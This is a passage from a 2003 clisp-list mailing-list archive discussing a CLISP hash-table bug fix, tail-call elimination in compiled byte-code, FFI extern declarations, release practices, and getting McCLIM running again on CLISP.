       Iptr = &TheSvector(TheHashtable(ht)->ht_itable)->data[hashindex];} \
-      goto retry;                                                        \
+     freelist = TheHashtable(ht)->ht_freelist;                          \
+     if (eq(freelist,nix)) goto retry;                                  \
     }                                                                   \
   } while(0)
 



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Date: Thu Dec  4 13:54:02 2003
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Sam Steingold writes:
> > * Szymon <khe@jc.cy> [2003-12-04 20:28:49 +0100]:
> >
> >> >> > Does clisp have tail recursion optimization to prevent stack overflows
> >> >> > on deep recursions?
> >> >> no.
> > "no" ---> both interpreted & compiled code?
> yes.
> 
> >> > why ?
> >> debuggability
> > Thanks.
> >
> > Does compilation (in clisp) transform tail-recursion to loops?
> 
> no.  patches that optionally optimize tail calls (not necessarily
> recursive) are welcome.
> 
> > For example: before compilation I can execute tail-rec fuction ~3000
> > times (clisp -m2MB), after compile '... 30000+ (no time to test it
> > longer).
> 
> compiled code uses less stack.


I'm  sorry  Sam but  you're  wrong.  CLISP  reduces tail-recursion  in
compiled code:


[31]> (defun fact (n &optional (r 1)) (if (> n 1) (fact (1- n) (* r n)) r))
FACT
[32]> (disassemble 'fact)

Disassembly of function FACT
(CONST 0) = 1
1 required argument
1 optional argument
No rest parameter
No keyword parameters
16 byte-code instructions:
0     L0
0     (JMPIFBOUNDP 1 L5)
3     (CONST 0)                           ; 1
4     (STORE 1)
5     L5
5     (LOAD&PUSH 2)
6     (CONST&PUSH 0)                      ; 1
7     (CALLSR&JMPIF 1 49 L14)             ; >
11    (LOAD 1)
12    (SKIP&RET 3)
14    L14
14    (LOAD&DEC&PUSH 2)
16    (LOAD&PUSH 2)
17    (LOAD&PUSH 4)
18    (CALLSR&PUSH 2 56)                  ; *
21    (JMPTAIL 2 5 L0)  <========================= HERE ===================
#<COMPILED-CLOSURE FACT>


[35]> (defun fact2 (n &optional (r 1)) 
          (cond ((<= n 1) r) 
                ((evenp n) (fact2 (- n 2) (* r n (1- n)))) 
                (t         (fact2 (1- n)  (* r n)))))
FACT2
[36]> (disassemble 'fact2)

Disassembly of function FACT2
(CONST 0) = 1
(CONST 1) = -2
1 required argument
1 optional argument
No rest parameter
No keyword parameters
27 byte-code instructions:
0     L0
0     (JMPIFBOUNDP 1 L5)
3     (CONST 0)                           ; 1
4     (STORE 1)
5     L5
5     (LOAD&PUSH 2)
6     (CONST&PUSH 0)                      ; 1
7     (CALLSR&JMPIF 1 50 L26)             ; <=
11    (LOAD&PUSH 2)
12    (CALLS2&JMPIF 148 L29)              ; EVENP
15    (LOAD&DEC&PUSH 2)
17    (LOAD&PUSH 2)
18    (LOAD&PUSH 4)
19    (CALLSR&PUSH 2 56)                  ; *
22    (JMPTAIL 2 5 L0)  <========================= HERE ===================
26    L26
26    (LOAD 1)
27    (SKIP&RET 3)
29    L29
29    (CONST&PUSH 1)                      ; -2
30    (LOAD&PUSH 3)
31    (CALLSR&PUSH 2 54)                  ; +
34    (LOAD&PUSH 2)
35    (LOAD&PUSH 4)
36    (LOAD&DEC&PUSH 5)
38    (CALLSR&PUSH 3 56)                  ; *
41    (JMPTAIL 2 5 L0)  <========================= HERE ===================
#<COMPILED-CLOSURE FACT2>


Why do you think there is a JMPTAIL instruction in the virtual machine?


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Per the message sent by Sam Steingold:

...
> --- hashtabl.d.~1.57.~	2003-10-27 09:34:27.700910400 -0500
> +++ hashtabl.d	2003-12-04 16:28:05.421879500 -0500
> @@ -1148,20 +1148,26 @@
>  }

Ouch! I don't see a hashtabl.d in my clisp sources...  and I have seen
no errors in my clisp! And I compiled from a fairly recent source about
a month ago.  What am I missing?

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2003-12-04 22:52:55 +0100]:
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> I'm sorry Sam but you're wrong.  CLISP reduces tail-recursion in
> compiled code:

good.  I mis-remembered.
So CLISP does eliminate tail-recursion, but not tail calls.

thanks for correcting me.

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> * Fred Cohen <sp@nyy.arg> [2003-12-04 14:03:34 -0800]:
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> Per the message sent by Sam Steingold:
>
> ...
>> --- hashtabl.d.~1.57.~	2003-10-27 09:34:27.700910400 -0500
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>> @@ -1148,20 +1148,26 @@
>>  }
>
> Ouch! I don't see a hashtabl.d in my clisp sources...  and I have seen
> no errors in my clisp! And I compiled from a fairly recent source
> about a month ago.  What am I missing?

<clisp/src/hashtabl.d>

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Per the message sent by Sam Steingold:

> > * Matt Cross <zpebff@vebobg.pbz> [2003-12-02 16:43:10 -0500]:
> >
> > I'm running clisp-2.31 on Windows 2000.  When I run the code at the
> > end of this message, it ends up with some entries in the hash table
> > twice (once with the value 't' and once with the correct numeric
> > value).  Am I doing something incorrect or is this a bug in clisp?

> this is a bug in CLISP, introduced on 2003-05-13.
> Please try the appended patch.

clisp-2.31/src>patch hashtabl.d patch                                                                        
patching file hashtabl.d
patch: **** malformed patch at line 35: @@ -1171,9 +1177,12 @@

ll hashtabl.d
-rw-rw-r--    1 500      500         85102 May 24  2003 hashtabl.d

Is there a particular different approach I should take to this patch?

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> * Fred Cohen <sp@nyy.arg> [2003-12-04 15:36:57 -0800]:
>
> Is there a particular different approach I should take to this patch?

this is a simple unified diff and should have worked OOTB.
please try CVS.

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>>>>> "Paolo" == Paolo Amoroso <amoroso@mclink.it> writes:

    Paolo> Raymond Toy writes:
    >> Do you think clisp could run McCLIM fast enough to be usable?  Just

    Paolo> You bet. Early versions of McCLIM did run on CLISP (only with MIT CLX
    Paolo> and not NCLX, I seem to remember). Performance was "acceptable" with
    Paolo> CLISP and "good" with CMUCL under Linux on my old 200 MHz, non-MMX
    Paolo> Pentium PC with 64 MB of RAM...

Oh, good!  I don't have to try building it and running it then.  This
is good!

    >> curious.  McCLIM is pretty slow with cmucl on a 400 MHz sparc box.
    >> It's pretty slow on a 900 MHz x86 box too.

    Paolo> ...but now McCLIM just flies on my new 2.8 GHz Pentium IV monster with
    Paolo> 2 GB of RAM :) The CLIM listener takes around 15 seconds to draw the
    Paolo> impressive graph generated by the command:

    Paolo>   Show Class Subclasses (class) t

That took quite a while on my PC and Sun boxes.  Don't remember
exactly how long but it was in the minutes.

Ray



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Raymond Toy writes:

>>>>>> "Paolo" == Paolo Amoroso <amoroso@mclink.it> writes:
[...]
>     Paolo> You bet. Early versions of McCLIM did run on CLISP (only with MIT CLX
>     Paolo> and not NCLX, I seem to remember). Performance was "acceptable" with
>     Paolo> CLISP and "good" with CMUCL under Linux on my old 200 MHz, non-MMX
>     Paolo> Pentium PC with 64 MB of RAM...
>
> Oh, good!  I don't have to try building it and running it then.  This
> is good!

This *was* good. CLISP stopped working with McCLIM when presentations,
which are based on the MOP, were added to McCLIM.


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> * Paolo Amoroso <nzbebfb@zpyvax.vg> [2003-12-05 16:45:58 +0100]:
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> CLISP stopped working with McCLIM when presentations,
> which are based on the MOP, were added to McCLIM.

what MOP functionality is used?
CLISP CLOS is fairly MOPish, maybe a small compatibility layer could help?

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It appears that CLISP 2.31 breaks the linkkit interface.

Firstly, the ``clisp.h'' header contains:

   #include "constobj.c"

but the install scriptology does not copy this file into the linkkit
directory, and so #include "clisp.h" blows up!

Secondly, the FFI translator puts out ill-formed C, so even if you work
around the first problem you run into others.

Namely the C module that is produced from the FFI definitions makes
references to function addresses without providing extern declarations
for the functions! E.g.

  (def-call-out rmdir 
    (:language :stdc)
    (:arguments (path c-string))
    (:return-type int))

in the .lisp module turns into 

  register_foreign_function((void *)&rmdir,"rmdir",1024);

in the .c file with no prior declaration of rmdir!

A good test case for the link kit system is this: download Meta-CVS
1.0.9, unpack it, go to the src directory and type ``./install.sh
/usr/local''. :)



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> * Kaz Kylheku <xnm@nfuv.sbbgcevagf.arg> [2003-12-05 16:23:20 -0800]:
>
> Firstly, the ``clisp.h'' header contains:
>    #include "constobj.c"
> but the install scriptology does not copy this file into the linkkit
> directory, and so #include "clisp.h" blows up!

this has been fixed on 2003-09-09.

> Secondly, the FFI translator puts out ill-formed C, so even if you
> work around the first problem you run into others.

see NEWS:

* FFI does not output extern variable and function declarations unless
  you set FFI:*OUTPUT-C-VARIABLES* and/or FFI:*OUTPUT-C-FUNCTIONS* to T.
  Please use FFI:C-LINES to include the appropriate headers instead.
  See <http://clisp.cons.org/impnotes.html#ffi-extern-output> for details.

the rationale is that there is no way to reliably output extern
declaration that would be compatible with the system headers (which
should be included anyway!), so why not rely the headers instead?


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On Fri, 5 Dec 2003, Sam Steingold wrote:

> > Secondly, the FFI translator puts out ill-formed C, so even if you
> > work around the first problem you run into others.
> 
> see NEWS:
> 
> * FFI does not output extern variable and function declarations unless
>   you set FFI:*OUTPUT-C-VARIABLES* and/or FFI:*OUTPUT-C-FUNCTIONS* to T.
>   Please use FFI:C-LINES to include the appropriate headers instead.
>   See <http://clisp.cons.org/impnotes.html#ffi-extern-output> for details.
> 
> the rationale is that there is no way to reliably output extern
> declaration that would be compatible with the system headers (which
> should be included anyway!), so why not rely the headers instead?

This is a silly rationale, because all that is done with the declared
functions is to take their address and cast it to (void *). The functions
are not actually called in the generated C module, so the type signature
does not come into question.  The declarations, effectively, merely
assert the existence of these functions as entry points in the address
space.  Thus it buys you nothing that the declarations come from a more
legitimate source. It would matter in some fictitious C implementation
whose function pointers carry type information that is preserved under
pointer casts and checked at call time.

Moreover, you can include all the right headers, yet completely lie in
the DEF-CALL-OUT form to generate an incompatible call. The C compiler
won't squawk at all!

For error checking, the most useful behavior would be to have both:
enable the generation of function declarations *and* use C-LINES to
include the headers. This way the FFI-generated declarations could be
type checked against the original declarations from the external headers.
The C compiler would catch, say, the Lisp side using ``int'' for
a mode_t parameter which is typedef'd to ``long'' in the system header.

The way it is, the new behavior is just a misfeature that breaks existing
projects based on CLISP. Their users cannot independently upgrade CLISP
without obtaining fixed versions of these projects. I'm not saying that
backward compatibility is some supreme value that must be preserved at any
cost, only that it should be broken when there is no other reasonable
way to fix some actual problem.



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On Fri, 5 Dec 2003, Sam Steingold wrote:

> > but the install scriptology does not copy this file into the linkkit
> > directory, and so #include "clisp.h" blows up!
> 
> this has been fixed on 2003-09-09.

Maybe it would be a good idea to go through a pre-release stage. CLISP
is a big and complex platform project, and you guys can't test everything!
Help is needed from the broader community of people who use CLISP.
The built-in test suite is very good, but it won't catch peripheral
things like this.

Of course anyone can get the bleeding edge from CVS at any time, but it's
helpful to have an official alpha release program which tells people
``hey, wake up! We think we have something release-worthy here, come
and try it''.

Before releasing 2.32, how about a 2.31.95 test prerelease, with binaries,
tarballs for download, and all that fanfare. If problems are found,
you can put out a 2.31.96, and so on. You have all the way up to
2.31.99, which you should never reach. :) When no more problem reports
come back from the field, you put out the latest candidate as 2.32.
This is for instance how Ulrich Drepper puts out glibc2.

Otherwise you are just relying on people who are fetching the latest
CVS, who are typically just people who are hacking on CLISP, or are
looking to have some particular problem fixed.

Test releases are important for people who have dependencies on the
project, so they can verify that nothing breaks, but who otherwise
don't want to sit there doing ``cvs up'' everyday to rebuild it.

Moreover, the test releases are clearly identified, so the third-level
users who use applications based on the platform won't bother the
application guys to make their stuff work with broken test releases!
If a user comes and says ``I can't get FooProver 3.9 to work with
CLISP 2.33.93'' the developer can just say ``That's a test release
with a known problem affecting FooProver that did not exist in 2.33 and
is already fixed in 2.33.94. Stick with 2.33 or wait for 2.34.''



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> * Kaz Kylheku <xnm@nfuv.sbbgcevagf.arg> [2003-12-05 23:44:23 -0800]:
>
> On Fri, 5 Dec 2003, Sam Steingold wrote:
>
>> > Secondly, the FFI translator puts out ill-formed C, so even if you
>> > work around the first problem you run into others.
>> 
>> see NEWS:
>> 
>> * FFI does not output extern variable and function declarations unless
>>   you set FFI:*OUTPUT-C-VARIABLES* and/or FFI:*OUTPUT-C-FUNCTIONS* to T.
>>   Please use FFI:C-LINES to include the appropriate headers instead.
>>   See <http://clisp.cons.org/impnotes.html#ffi-extern-output> for details.
>> 
>> the rationale is that there is no way to reliably output extern
>> declaration that would be compatible with the system headers (which
>> should be included anyway!), so why not rely the headers instead?
>
> This is a silly rationale

well, people include the headers all the time and complain that CC
cannot compile the FFI C code.

> For error checking, the most useful behavior would be to have both:
> enable the generation of function declarations *and* use C-LINES to
> include the headers. This way the FFI-generated declarations could be
> type checked against the original declarations from the external headers.
> The C compiler would catch, say, the Lisp side using ``int'' for
> a mode_t parameter which is typedef'd to ``long'' in the system header.

you can enable that too.
there have been an extensive discussion on the list on this matter.


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> * Kaz Kylheku <xnm@nfuv.sbbgcevagf.arg> [2003-12-06 00:12:29 -0800]:
>
> On Fri, 5 Dec 2003, Sam Steingold wrote:
>
>> > but the install scriptology does not copy this file into the linkkit
>> > directory, and so #include "clisp.h" blows up!
>> 
>> this has been fixed on 2003-09-09.
>
> Maybe it would be a good idea to go through a pre-release stage. CLISP
> is a big and complex platform project, and you guys can't test everything!
> Help is needed from the broader community of people who use CLISP.

the imminence of a an impending release is announced here.

> Before releasing 2.32, how about a 2.31.95 test prerelease, with
> binaries, tarballs for download, and all that fanfare. If problems are
> found, you can put out a 2.31.96, and so on. You have all the way up
> to 2.31.99, which you should never reach. :) When no more problem
> reports come back from the field, you put out the latest candidate as
> 2.32.

this is a great idea!

> This is for instance how Ulrich Drepper puts out glibc2.

do you volunteer to build all the binaries &c?


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>> This is for instance how Ulrich Drepper puts out glibc2.
>
> do you volunteer to build all the binaries &c?

I volunteer to produce the OS X binaries if no one else wants to. Also 
the Redhat 8 and YellowDog 3 binaries. All this assuming that my 
hardware doesn't break.

BTW: As of the anon-cvs head last night, all three of those (still 
running Jaguar, haven't upgraded to Panther yet) built and make check'd 
cleanly. I haven't run my own tests against 'em yet though. ;-)

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>> * Paolo Amoroso <nzbebfb@zpyvax.vg> [2003-12-05 16:45:58 +0100]:
>>
>> CLISP stopped working with McCLIM when presentations,
>> which are based on the MOP, were added to McCLIM.
>
> what MOP functionality is used?

The short answer is: I don't know :)

When presentations were added to McCLIM, I was no longer able to
compile it with CLISP. I seem to remember that the use of
"metaclasses" was mentioned in this context, and I assumed the code
used actual MOP metaclasses (i.e. the :METACLASS option of DEFCLASS).

But a superficial inspection of the McCLIM code shows that the
metaclass functionality is being recreated in some way. So, CLISP
might still be able to run McCLIM with "limited" effort.

Disclaimer: I am not familiar with the McCLIM internals.


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> * Paolo Amoroso <nzbebfb@zpyvax.vg> [2003-12-06 16:27:27 +0100]:
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> So, CLISP might still be able to run McCLIM with "limited" effort.

Any volunteers to make this "limited effort"?

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> * Kaz Kylheku <xnm@nfuv.sbbgcevagf.arg> [2003-12-06 00:12:29 -0800]:
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> Maybe it would be a good idea to go through a pre-release stage.

Another options is to make monthly bug-fix releases.
This August John Hinsdale volunteered to maintain a bug-fix CVS branch,
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Sam Steingold writes:
 > > * Paolo Amoroso <nzbebfb@zpyvax.vg> [2003-12-06 16:27:27 +0100]:
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 > > So, CLISP might still be able to run McCLIM with "limited" effort.
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I'm not volunteering (I'm overextended as it is), but FWIW, this would
be the single most important thing to improve CLISP's usability for
me.  Not running McCLIM per se, but having some MOP support (which
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I'm still trying to figure out how the test posted by Bruno works.
Can someone explain?  Below is a version that's improved for purposes
of adding an entry to the test suite.  See the comments therein.

;; no longer used
(defun hash-table-keys (ht)
  (loop :for kk :being :each :hash-key :of ht :collect kk))

;; no longer used - see next
(defun check-hash-unique (ht)
  (let ((hash-ok t))
    (do* ((keys (hash-table-keys ht) (cdr keys))
          (key (car keys) (car keys))
          (other-keys (cdr keys) (cdr keys)))
         ((null keys) hash-ok)
      (when (member key other-keys)
        (format t "ERROR! key ~s occurs multiple times!~%" key)
        (setf hash-ok nil)))))

;; if you really want to find the duplicate entries, this is much faster
;; if you just want to test it's not necessary
(defun check-hash-unique2 (ht)
  (let ((h2 (make-hash-table :test 'equal)))
    (loop :for kk :being :each :hash-key :of ht do
      (if (gethash kk h2)
	  (format t "ERROR! key ~s occurs multiple times!~%" kk)
	(setf (gethash kk h2) t)))))

(defun do-hash-test (ht)
  (clrhash ht)
  (loop for countval upfrom 1 upto 15000
    for key = (cons "HT" countval)
    ;; (format nil "HT-~D" countval)
    ;; same problem occurs with cons but a lot faster than format
    do
      ;;(gethash key ht)
      (setf (gethash key ht) t)
      (setf (gethash key ht) t) ;; was countval
      ;; The gethash seems unnecessary in the sense that the failure
      ;; occurs without it.  Similarly, it occurs whether the two
      ;; assignments use the same value or not.  
      ;; But two assignments are needed.
      ;; This part I don't understand.
      ;; Is the problem related to gc between the two?
      ;; I tried putting a gc between the two and the problem went away.
      ;; If there's no gc between the two then I'd expect the second
      ;; to be a noop.  If the problem is a gc during one then why do
      ;; we need two?
    finally
    (format t "~A entries~%"
	    (loop :for kk :being :each :hash-key :of ht :count t))
    ;; as a test it suffices to count the entries (above)    	    
    ;; (check-hash-unique2 ht) ;; only if you want to see the duplicates
    ))

(loop :repeat 2 :do
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    ;; the size doesn't seem to matter
    ;; I get the bug with no size or 20000 or 100000
    :for i :from 1 :to 10 :do
    (format t "~& --- ~d ---~%" i)
    (do-hash-test ht)))


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> * Don Cohen <qba-fbheprsbetr@vfvf.pf3-vap.pbz> [2003-12-06 12:00:35 -0800]:
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> I'm still trying to figure out how the test posted by Bruno works.
Bruno?

> (defun check-hash-unique2 (ht)
>   (let ((h2 (make-hash-table :test 'equal)))
>     (loop :for kk :being :each :hash-key :of ht do
>       (if (gethash kk h2)
> 	  (format t "ERROR! key ~s occurs multiple times!~%" kk)
> 	(setf (gethash kk h2) t)))))

you are using HT to check HT.  no good.

>       ;; But two assignments are needed.
>       ;; This part I don't understand.
>       ;; Is the problem related to gc between the two?

the problem was with hashcode caching.
hashcode is (mod raw-hash-code ht-size).
raw-hash-code depends only on the object, but for EQ&EQL HTs it can
change after a GC.
when we add an element to the HT, we may need to expand the HT, which
may trigger GC.
raw-hash-code calculation may be expensive, especially for user-defined
hash-tables, so we should cache it while expanding HT.
we cannot cache the EQ&EQL raw-hash-code (GC may change it).
caching of the EQ&EQL raw-hash-code was the problem.
see ChangeLog & hashtabl.d for details.

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Hi!

I was trying to build the documentation for CLisp, so I went to my CVS
checked out copy of the source tree, went into the "doc" subdirectory
and typed "make". After some work, the process fails with:

<-- ---- cut here for new monitor ---- -->

(test -n "cvs2.cons.org:/home/ftp/pub/lisp/clisp/snapshots" && scp -p
impnotes.html cvs2.cons.org:/home/ftp/pub/lisp/clisp/snapshots && \
 test -d "../build/" && cd ../build && make clisp.html && \
 make clisp.1 && scp -p clisp.1 clisp.html
cvs2.cons.org:/home/ftp/pub/lisp/clisp/snapshots) || true
ssh: connect to address 216.153.209.82 port 22: Connection timed out
lost connection

<-- ---- cut here for new monitor ---- -->

Reading the Makefile, there are more places where scp is used to copy
files to remote machines.

Yes, I just ran "cvs up" again to ensure a sufficiently current tree.

Why does the documentation make process try to upload files via scp to
machines I - as far as I know - don't have the appropriate access to?


All I asked it to do was to build the documentation in some nicely
readable format, not try to upload it to any remote machine.

If this is part of an automagic "update from CVS, then build and update
snapshots" process, it shouldn't run when someone just wants to build
documentation. 

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I thought I was the only one generating impnotes output files.
just run "make DIST='' ..."

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Sam Steingold writes:
 > > * Don Cohen <qba-fbheprsbetr@vfvf.pf3-vap.pbz> [2003-12-06 12:00:35 -0800]:
 > >
 > > I'm still trying to figure out how the test posted by Bruno works.
 > Bruno?
 > 
 > > (defun check-hash-unique2 (ht)
 > >   (let ((h2 (make-hash-table :test 'equal)))
 > >     (loop :for kk :being :each :hash-key :of ht do
 > >       (if (gethash kk h2)
 > > 	  (format t "ERROR! key ~s occurs multiple times!~%" kk)
 > > 	(setf (gethash kk h2) t)))))
 > 
 > you are using HT to check HT.  no good.

Only to iterate over it, just as the original did.
Try it.

 > >       ;; But two assignments are needed.
 > >       ;; This part I don't understand.
 > >       ;; Is the problem related to gc between the two?
 > 
 > the problem was with hashcode caching.
 > hashcode is (mod raw-hash-code ht-size).
 > raw-hash-code depends only on the object, but for EQ&EQL HTs it can
 > change after a GC.
But that doesn't explain why you need two assignments.

 > when we add an element to the HT, we may need to expand the HT, which
 > may trigger GC.
Expanding HT was not the problem, since the same problem occurs even 
with a very large initial size.

 > raw-hash-code calculation may be expensive, especially for user-defined
 > hash-tables, so we should cache it while expanding HT.
That I understood.  So where do you cache it?
If you can save such data on an arbitrary object, why not go ahead
and define that as the raw hash code.  Then you'll never have to
rehash!
So this means that every EQ/EQL hashtable has to be totally rehashed
whenever it's accessed and GC has occurred since the last access?
That would seem very bad.
Or perhaps only if the key is of one of the types that move?
That doesn't seem like a big improvement.  Or maybe you can tell
the last time a given object moved and compare that to the last time 
the table was rehashed?

 > we cannot cache the EQ&EQL raw-hash-code (GC may change it).
 > caching of the EQ&EQL raw-hash-code was the problem.
 > see ChangeLog & hashtabl.d for details.

I did see that much, but as you can tell, there are lots of questions 
remaining.


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> * Don Cohen <qba-fbheprsbetr@vfvf.pf3-vap.pbz> [2003-12-06 15:02:21 -0800]:
>
>  > you are using HT to check HT.  no good.
> Only to iterate over it, just as the original did.

so?  you just don't use check something with itself (even if it
sometimes catches an error).

>  > the problem was with hashcode caching.
>  > hashcode is (mod raw-hash-code ht-size).
>  > raw-hash-code depends only on the object, but for EQ&EQL HTs it can
>  > change after a GC.
> But that doesn't explain why you need two assignments.

you probably don't.
you just discover that the thing you put into the HT is not there.

>  > when we add an element to the HT, we may need to expand the HT, which
>  > may trigger GC.
> Expanding HT was not the problem, since the same problem occurs even 
> with a very large initial size.

see rehash() in hashtabl.d

>  > raw-hash-code calculation may be expensive, especially for user-defined
>  > hash-tables, so we should cache it while expanding HT.
> That I understood.  So where do you cache it?

hash_prepare_store() in hashtabl.d

> So this means that every EQ/EQL hashtable has to be totally rehashed
> whenever it's accessed and GC has occurred since the last access?

of course.

I hope Bruno will chime in here.
The issues seems to be
 - how to make the test I added faster (it is now one of the slowest
   tests in the testsuite)
 - general CLISP hash table implementation issues.

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Sam Steingold writes:
 > > * Don Cohen <qba-fbheprsbetr@vfvf.pf3-vap.pbz> [2003-12-06 15:02:21 -0800]:
 > >
 > >  > you are using HT to check HT.  no good.
 > > Only to iterate over it, just as the original did.
 > 
 > so?  you just don't use check something with itself (even if it
 > sometimes catches an error).

Try check-hash-unique and check-hash-unique2 and you'll see they
report the same things.  They both use the original ht in the same
way, but the second one is much more efficient, linear instead of
quadratic.

 > >  > the problem was with hashcode caching.
 > >  > hashcode is (mod raw-hash-code ht-size).
 > >  > raw-hash-code depends only on the object, but for EQ&EQL HTs it can
 > >  > change after a GC.
 > > But that doesn't explain why you need two assignments.
 > 
 > you probably don't.
This is not true.  As my comments report, if you remove one assignment
there is no failure.

 > you just discover that the thing you put into the HT is not there.
 > 
 > >  > when we add an element to the HT, we may need to expand the HT, which
 > >  > may trigger GC.
 > > Expanding HT was not the problem, since the same problem occurs even 
 > > with a very large initial size.
 > 
 > see rehash() in hashtabl.d

Is this supposed to convince me that the bug is related to growing
the hashtable?  I admit I was hoping to understand this issue without
understanding (or even reading) all the code.

 > >  > raw-hash-code calculation may be expensive, especially for user-defined
 > >  > hash-tables, so we should cache it while expanding HT.
hmm, is there any guarantee that user defined hash functions remain
the same across GC ?
That doesn't appear in the spec in impnotes.
Also I'd have expected that hash functions should return integers.

 > > That I understood.  So where do you cache it?
 > 
 > hash_prepare_store() in hashtabl.d
I think you're telling me where in the code the caching is done.
I meant where is the data stored.  In the hash table?  In the object?
In a temporary table?

 > > So this means that every EQ/EQL hashtable has to be totally rehashed
 > > whenever it's accessed and GC has occurred since the last access?
 > 
 > of course.

If you can associate a hash code with arbitrary objects (or even only
those that can move and have this affect their raw hash code), then
by leaving that data alone you could avoid all rehashing.

 > I hope Bruno will chime in here.
 > The issues seems to be
 >  - how to make the test I added faster (it is now one of the slowest
 >    tests in the testsuite)

If you mean the code I just sent you, it's a whole lot faster than the
original.

 >  - general CLISP hash table implementation issues.
I want to understand both this and the test that demonstrates the
failure recently fixed. 


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>> * Paolo Amoroso <nzbebfb@zpyvax.vg> [2003-12-05 16:45:58 +0100]:
>>
>> CLISP stopped working with McCLIM when presentations,
>> which are based on the MOP, were added to McCLIM.
>
> what MOP functionality is used?
> CLISP CLOS is fairly MOPish, maybe a small compatibility layer could help?

I forgot another important reason why McCLIM can not currently work
with CLISP: the lack of multiprocessing support.


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There has been a recent discussion in the clisp-list mailing list (I
hope it's acceptable to Cc: clisp-list) about the possibility of
making McCLIM work with CLISP. I told there my experience with early
versions of McCLIM, and I have been asked what would be involved in
making it work again with CLISP.

I was able to run early versions of McCLIM with CLISP and MIT
CLX. There were noticeable peformance improvements between the very
first and last versions of McCLIM I tested. In the end, performance
was "acceptable" for me under Linux with an old Pentium 200 PC with 64
MB of RAM.

McCLIM stopped working with CLISP when presentations were added. At
the time, the use of metaclasses was mentioned in the context of
presentations, and I assumed that actual CLOS MOP metaclasses were
used to implement them. But a superficial inspection of the code shows
that some sort of custom metaclass mechanism is used instead.

Since I am not familiar with the internals of McCLIM, I'd like to ask
how much effort would be needed to make it work again with CLISP, and
what are the most probable sources of incompatibility.

Besides the above mentioned problem related to presentations, the
issue of CLIM-style multiproccesing, which CLISP does not provide yet,
comes to mind. I have been asked what kind of multiprocessing support
is required for running McCLIM: fork, threads, pvm, mpi?


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On Dec 8, 2003, at 11:43 AM, Paolo Amoroso wrote:

> There has been a recent discussion in the clisp-list mailing list (I
> hope it's acceptable to Cc: clisp-list) about the possibility of
> making McCLIM work with CLISP. I told there my experience with early
> versions of McCLIM, and I have been asked what would be involved in
> making it work again with CLISP.
>
...
> McCLIM stopped working with CLISP when presentations were added. At
> the time, the use of metaclasses was mentioned in the context of
> presentations, and I assumed that actual CLOS MOP metaclasses were
> used to implement them. But a superficial inspection of the code shows
> that some sort of custom metaclass mechanism is used instead.
No, we use as much of the MOP as we can. The catch is that McCLIM has 
to do a lot of work at compile time before the metaclasses are 
available, so the mixin that is a superclass of the presentation type 
metaclass is also used standalone at compile time.

Another thing that confuses the issue is that the describe function and 
the Listener app use the MOP too, and there is support for them in the 
Lisp-dep files, but those are demos and not necessary to get the core 
bits of McCLIM running.  Of course, they are nice to have.

You can grep for clim-mop in the sources and see all the uses of the 
MOP. The highlights for the presentation type system are:

Ability to define subclasses (metaclasses) of standard-class and 
standard-generic-function and instantiate classes of those metaclasses
class-prototype
class-precedence-list
class-direct-superclasses
ensure-class
method-specializers
eql-specializer
eql-specializer-object
specialization of compute-applicable-methods-using-classes, 
compute-applicable-methods
generic-function-methods
extract-specializer-names
extract-lambda-list

>
> Since I am not familiar with the internals of McCLIM, I'd like to ask
> how much effort would be needed to make it work again with CLISP, and
> what are the most probable sources of incompatibility.
See above :) We of course make heavy use of Gray streams; I don't know 
what the status of that is in CLISP. Also, at one time nested backquote 
didn't work in CLISP, though I suppose that is ancient history.
>
> Besides the above mentioned problem related to presentations, the
> issue of CLIM-style multiproccesing, which CLISP does not provide yet,
> comes to mind. I have been asked what kind of multiprocessing support
> is required for running McCLIM: fork, threads, pvm, mpi?
>
Lispm style processes, which are really threads. McCLIM also works in a 
non-threaded mode which only allows one application to run at a time.

Hope this helps,
Tim



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> * Timothy Moore <zbber@oevpbjbexf.pbz> [2003-12-08 22:19:11 +0100]:
>
>> Since I am not familiar with the internals of McCLIM, I'd like to ask
>> how much effort would be needed to make it work again with CLISP, and
>> what are the most probable sources of incompatibility.
> See above :) We of course make heavy use of Gray streams; I don't know
> what the status of that is in CLISP.
available in the GRAY package (re-exported from EXT and thus available
in CL-USER)

> Also, at one time nested backquote didn't work in CLISP, though I
> suppose that is ancient history.

works fine.

> we use as much of the MOP as we can.

why?  it's not in the CLtS.

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On Dec 8, 2003, at 10:34 PM, Sam Steingold wrote:

>> * Timothy Moore <zbber@oevpbjbexf.pbz> [2003-12-08 22:19:11 +0100]:
...
>> we use as much of the MOP as we can.
>
> why?  it's not in the CLtS.
Neither are Gray streams and processes, but that doesn't stop us :)

A less glib answer: presentation types are a system of classes, objects 
and methods. It's a bit different from CLOS but they do share a lot of 
characteristics. The MOP is ideal for implementing this kind of system 
and was a big timesaver in attacking a problem that had held up free 
CLIM efforts for years.

Tim



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At 04:32 PM 12/4/2003 -0500, Sam Steingold wrote:

>this is a bug in CLISP, introduced on 2003-05-13.
>Please try the appended patch.

Sorry it took me a while to get to trying this patch.  It fixes the problem 
for me.  Thanks for your quick work on this!

I've also come up with quicker test code, some flavor of this may be useful 
to add to the test suite:

(defun check-hash-unique (hashtbl size)
   (let* ((array-size (+ size 1))
          (keys (make-array array-size :initial-element nil))
          (hash-ok t) )
     (loop for key being the hash-keys of hashtbl
           for key-num = (read-from-string (symbol-name key))

           when (svref keys key-num)
           do
           (progn
             (format t "Key '~a' occurs multiple times in the hash 
table!~%" key)
             (setf hash-ok nil) )
           else
           do
           (setf (svref keys key-num) t) )
     hash-ok ) )



(defparameter *hashtbl* (make-hash-table :size 1000))

(defun do-hash-test (&optional (entries 150000))
    (clrhash *hashtbl*)
    (loop for countval upfrom 1 upto entries
          for newsym = (intern (format nil "~a" countval))
          do
          (progn
            (gethash newsym *hashtbl*)
            (setf (gethash newsym *hashtbl*) t)
            (setf (gethash newsym *hashtbl*) countval) )
          finally return
          (progn
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            (check-hash-unique *hashtbl* entries) ) ) )




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Hi,  Im trying to make a script that beginning lisp users will use. 
this script will	
	1 start up clisp
	2 load a file
	3 eval an expression and then
	4 enter the standard clisp repl.

If I do:

clisp -i src/make.lisp -x "(make-cm :save-image nil)" -repl

it almost works, except that the poor user is left at the _read_ step 
of the repl without having received any repl prompt at all, which is 
confusing at best -- it looks to a user as if lisp is "hung":
      ...
	; Loading "/Lisp/cm-2.4.0/bin/clisp_2.31_darwin-powerpc/midishare.fas"
	; Compiling "/Lisp/cm-2.4.0/src/midishare/player.lisp"
	; Loading "/Lisp/cm-2.4.0/bin/clisp_2.31_darwin-powerpc/player.fas"
	; Compiling "/Lisp/cm-2.4.0/src/cmn.lisp"
